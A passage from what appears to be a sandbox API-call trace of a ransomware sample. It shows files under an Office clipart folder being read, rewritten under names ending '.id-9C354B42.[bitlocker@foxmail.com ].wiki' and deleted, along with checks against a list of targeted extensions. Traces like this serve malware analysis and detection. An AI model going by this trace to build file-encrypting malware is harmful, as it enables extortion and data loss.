lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x48e0, lpOverlapped=0x0) returned 1 [0198.938] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.938] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.938] SetEndOfFile (hFile=0x1f0) returned 1 [0198.938] CloseHandle (hObject=0x1f0) returned 1 [0198.938] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.938] SetEndOfFile (hFile=0x1fc) returned 1 [0198.939] CloseHandle (hObject=0x1fc) returned 1 [0198.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf")) returned 1 [0198.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0198.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0198.939] lstrlenW (lpString=".doc") returned 4 [0198.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.939] lstrlenW (lpString=".docx") returned 5 [0198.939] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0198.939] lstrlenW (lpString=".pdf") returned 4 [0198.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.939] lstrlenW (lpString=".xls") returned 4 [0198.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.940] lstrlenW (lpString=".xlsx") returned 5 [0198.940] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0198.940] lstrlenW (lpString=".ppt") returned 4 [0198.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0198.940] lstrlenW (lpString=".zip") returned 4 [0198.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.940] lstrlenW (lpString=".rar") returned 4 [0198.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.940] lstrlenW (lpString=".bz2") returned 4 [0198.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.940] lstrlenW (lpString=".7z") returned 3 [0198.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0198.940] lstrlenW (lpString=".dbf") returned 4 [0198.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0198.940] lstrlenW (lpString=".1cd") returned 4 [0198.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0198.940] lstrlenW (lpString=".jpg") returned 4 [0198.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0198.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0198.940] lstrlenW (lpString=".doc") returned 4 [0198.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.940] lstrlenW (lpString=".docx") returned 5 [0198.940] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0198.940] lstrlenW (lpString=".pdf") returned 4 [0198.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.940] lstrlenW (lpString=".xls") returned 4 [0198.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.941] lstrlenW (lpString=".xlsx") returned 5 [0198.941] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0198.941] lstrlenW (lpString=".ppt") returned 4 [0198.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0198.941] lstrlenW (lpString=".zip") returned 4 [0198.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.941] lstrlenW (lpString=".rar") returned 4 [0198.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.941] lstrlenW (lpString=".bz2") returned 4 [0198.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.941] lstrlenW (lpString=".7z") returned 3 [0198.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0198.941] lstrlenW (lpString=".dbf") returned 4 [0198.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0198.941] lstrlenW (lpString=".1cd") returned 4 [0198.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned 63 [0198.941] lstrlenW (lpString=".jpg") returned 4 [0198.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.941] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.941] lstrlenW (lpString="J0158477.WMF") returned 12 [0198.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.942] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=17966) returned 1 [0198.942] CloseHandle (hObject=0x1fc) returned 1 [0198.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf")) returned 0x20 [0198.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.942] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.942] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.943] GetLastError () returned 0x0 [0198.943] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x462e, lpOverlapped=0x0) returned 1 [0198.945] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4630, lpOverlapped=0x0) returned 1 [0198.946] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.946] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.946] SetEndOfFile (hFile=0x1f0) returned 1 [0198.946] CloseHandle (hObject=0x1f0) returned 1 [0198.946] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.946] SetEndOfFile (hFile=0x1fc) returned 1 [0198.947] CloseHandle (hObject=0x1fc) returned 1 [0198.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf")) returned 1 [0198.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0198.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0198.948] lstrlenW (lpString=".doc") returned 4 [0198.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.948] lstrlenW (lpString=".docx") returned 5 [0198.948] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.948] lstrlenW (lpString=".pdf") returned 4 [0198.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.948] lstrlenW (lpString=".xls") returned 4 [0198.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.948] lstrlenW (lpString=".xlsx") returned 5 [0198.948] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.948] lstrlenW (lpString=".ppt") returned 4 [0198.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0198.948] lstrlenW (lpString=".zip") returned 4 [0198.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.948] lstrlenW (lpString=".rar") returned 4 [0198.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.948] lstrlenW (lpString=".bz2") returned 4 [0198.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.948] lstrlenW (lpString=".7z") returned 3 [0198.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0198.948] lstrlenW (lpString=".dbf") returned 4 [0198.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0198.948] lstrlenW (lpString=".1cd") returned 4 [0198.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0198.949] lstrlenW (lpString=".jpg") returned 4 [0198.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0198.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0198.949] lstrlenW (lpString=".doc") returned 4 [0198.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.949] lstrlenW (lpString=".docx") returned 5 [0198.949] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.949] lstrlenW (lpString=".pdf") returned 4 [0198.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.949] lstrlenW (lpString=".xls") returned 4 [0198.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.949] lstrlenW (lpString=".xlsx") returned 5 [0198.949] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.949] lstrlenW (lpString=".ppt") returned 4 [0198.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0198.949] lstrlenW (lpString=".zip") returned 4 [0198.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.949] lstrlenW (lpString=".rar") returned 4 [0198.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.949] lstrlenW (lpString=".bz2") returned 4 [0198.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.949] lstrlenW (lpString=".7z") returned 3 [0198.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0198.949] lstrlenW (lpString=".dbf") returned 4 [0198.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0198.950] lstrlenW (lpString=".1cd") returned 4 [0198.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0198.950] lstrlenW (lpString=".jpg") returned 4 [0198.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.950] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.950] lstrlenW (lpString="J0160590.WMF") returned 12 [0198.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.950] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=29406) returned 1 [0198.950] CloseHandle (hObject=0x1fc) returned 1 [0198.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf")) returned 0x20 [0198.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0198.951] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.951] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.951] GetLastError () returned 0x0 [0198.951] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x72de, lpOverlapped=0x0) returned 1 [0199.120] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x72e0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x72e0, lpOverlapped=0x0) returned 1 [0199.130] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.130] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.130] SetEndOfFile (hFile=0x1f0) returned 1 [0199.130] CloseHandle (hObject=0x1f0) returned 1 [0199.130] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.130] SetEndOfFile (hFile=0x1fc) returned 1 [0199.131] CloseHandle (hObject=0x1fc) returned 1 [0199.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf")) returned 1 [0199.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0199.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0199.131] lstrlenW (lpString=".doc") returned 4 [0199.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.131] lstrlenW (lpString=".docx") returned 5 [0199.131] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0199.131] lstrlenW (lpString=".pdf") returned 4 [0199.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.131] lstrlenW (lpString=".xls") returned 4 [0199.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.131] lstrlenW (lpString=".xlsx") returned 5 [0199.131] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0199.132] lstrlenW (lpString=".ppt") returned 4 [0199.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0199.132] lstrlenW (lpString=".zip") returned 4 [0199.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.132] lstrlenW (lpString=".rar") returned 4 [0199.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.132] lstrlenW (lpString=".bz2") returned 4 [0199.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.132] lstrlenW (lpString=".7z") returned 3 [0199.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0199.132] lstrlenW (lpString=".dbf") returned 4 [0199.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0199.132] lstrlenW (lpString=".1cd") returned 4 [0199.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0199.132] lstrlenW (lpString=".jpg") returned 4 [0199.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0199.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0199.132] lstrlenW (lpString=".doc") returned 4 [0199.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.132] lstrlenW (lpString=".docx") returned 5 [0199.132] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0199.132] lstrlenW (lpString=".pdf") returned 4 [0199.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.133] lstrlenW (lpString=".xls") returned 4 [0199.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.133] lstrlenW (lpString=".xlsx") returned 5 [0199.133] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0199.133] lstrlenW (lpString=".ppt") returned 4 [0199.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0199.133] lstrlenW (lpString=".zip") returned 4 [0199.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.133] lstrlenW (lpString=".rar") returned 4 [0199.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.133] lstrlenW (lpString=".bz2") returned 4 [0199.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.133] lstrlenW (lpString=".7z") returned 3 [0199.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0199.133] lstrlenW (lpString=".dbf") returned 4 [0199.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0199.133] lstrlenW (lpString=".1cd") returned 4 [0199.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0199.133] lstrlenW (lpString=".jpg") returned 4 [0199.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.133] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0199.133] lstrlenW (lpString="J0175361.JPG") returned 12 [0199.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.134] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=46461) returned 1 [0199.134] CloseHandle (hObject=0x1fc) returned 1 [0199.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg")) returned 0x20 [0199.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.134] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.134] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.135] GetLastError () returned 0x0 [0199.135] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xb57d, lpOverlapped=0x0) returned 1 [0199.137] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xb580, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xb580, lpOverlapped=0x0) returned 1 [0199.139] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.139] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 